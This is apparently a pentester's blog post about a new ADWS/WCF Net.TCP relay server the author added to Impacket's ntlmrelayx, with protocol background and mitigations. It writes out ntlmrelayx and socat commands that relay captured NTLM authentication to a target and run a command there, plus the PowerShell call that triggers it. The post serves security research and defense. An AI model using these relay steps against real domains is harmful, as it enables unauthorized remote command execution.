NTLM relay of ADWS (WCF) connections with Impacket feature image

The NTLM relay feature of Impacket’s ntlmrelayx.py used to offer only two servers, HTTP and SMB, for incoming NTLM authenticated connections using those two protocols. Which can then be relayed to more protocols: HTTP, SMB, LDAP, SMTP, etc. I had a situation where the incoming NTLM authenticated connection used ADWS (built upon NetTcpBinding WCF) so I implemented this new server protocol in Impacket 😉

How to use this new feature in a AD domain environment?

1. Run this on pentester machine:

$ ntlmrelayx --no-smb-server --no-http-server -t rpc://<target> -c "echo a > c:\test"

2. Simulate a vulnerable client by running this PowerShell command on a domain member while being authenticated as a user who has admin rights over <target>:

>> get-aduser -filter * -server <pentester_machine>

3. You should notice the creation of the c:\test file on the <target> device.

Here is a successful result on pentester-side (PYTHONPATH because I run Impacket from source):

If you want to learn more about the theory I recommend reading NTLM Relay by Pixis @hackndo

How it began… 🔗

I was pentesting a webapp which called PowerShell scripts using the ActiveDirectory module. One of the API calls took as parameter the domain controller FQDN/IP so I passed my IP and in Wireshark I saw an incoming TCP connection on port 9389. This port is used by ADWS! It means that my domain controller parameter was passed to the -Server parameter of one of the cmdlets.

I created a TCP relay with socat which allowed me to relay the traffic on the network level to a domain controller and observe the traffic in Wireshark:

$ socat TCP-LISTEN:9389,fork,reusaddr TCP:<DC_IP>:9389

The beginning of the connection had clear-text content which showed that NTLMSSP authentication was used by the client and accepted by the server (domain controller here)

I explicitly used an IP instead of a FQDN for -Server to make sure that NTLM would be preferred to Kerberos.

So, I could get an incoming NTLM authentication therefore it could be NTLM-relayed! 🏆 If only I had a ADWS server in Impacket, which was not the case yet… 😥

Before going further, here is how the Impacket NTLM-relay feature implementation is organized. Hats off to Dirk-jan Mollema (@_dirkjan) and Alberto Solino (@agsolino) for this modular design!

ADWS? 🔗

ADWS means Active Directory Web Services and is offered by domain controllers to interact with the domain instead of using more traditional protocols such as LDAP or RPC. The official PowerShell ActiveDirectory module notably uses it. You can learn more about ADWS and how to use it as programmer.

⚠️ The “Web Services” part of its name is misleading as it does not use HTTP at all since it is built upon WCF.

WCF / Net.TCP Binding? 🔗

WCF is “a unified programming model for building service-oriented applications” especially popular in .NET applications. ADWS uses specifically its NetTcpBinding (Net.TCP Binding) implementation. You can notice it when the “net.tcp://” scheme is used in URLs (and appears in clear at the beginning of the trafic). It is a binary protocol which is not yet widely supported by tools and libraries outside of .NET. And I had to implement enough of it in Python to complete the NTLM challenge-response… 😬

If we continue to dig (are you still following me?), it is built on two protocols published by Microsoft:

Since then, Uli H (@Pizza_4u) very kindly implemented it in Wireshark so we can finally easily analyze this traffic!

I also found the Pentesting Webservices with Net.TCP Binding article by Timo (@bluec0re) who shared very useful Python code which inspired a lot my implementation:

Protections 🔗

NTLM Relaying can mitigated in several ways. We can distinguish between recommendations that can be applied on either sides.

  • On the vulnerable application (which is the source of the authentication, the web app using AD cmdlets in our example):
    • ​If possible, the user should not be allowed to choose the server to contact (and to which the client will authenticate). In the case of the app I was pentesting, there was no legimitate use case of passing the Server in the HTTP request. In a way it is similar to the easiest way of fixing SSRF: no more user supplied URL, no more vulnerability! 👌 Not always applicable though…
    • ​Disable NTLM in clients: especially when contacting a domain controller, Kerberos will work fine and is not susceptible to NTLM relay.
  • On all potential target services (which are the destination of the authentication, the domain controller in our example):

Conclusion 🔗

The main resulting code is available in wcfrelayserver.py shared through PR #944 now merged. I hope you will like it 😉

I only used ADWS in my tests and in the examples above, but this implementation should work with any WCF / Net.TCP Binding vulnerable client.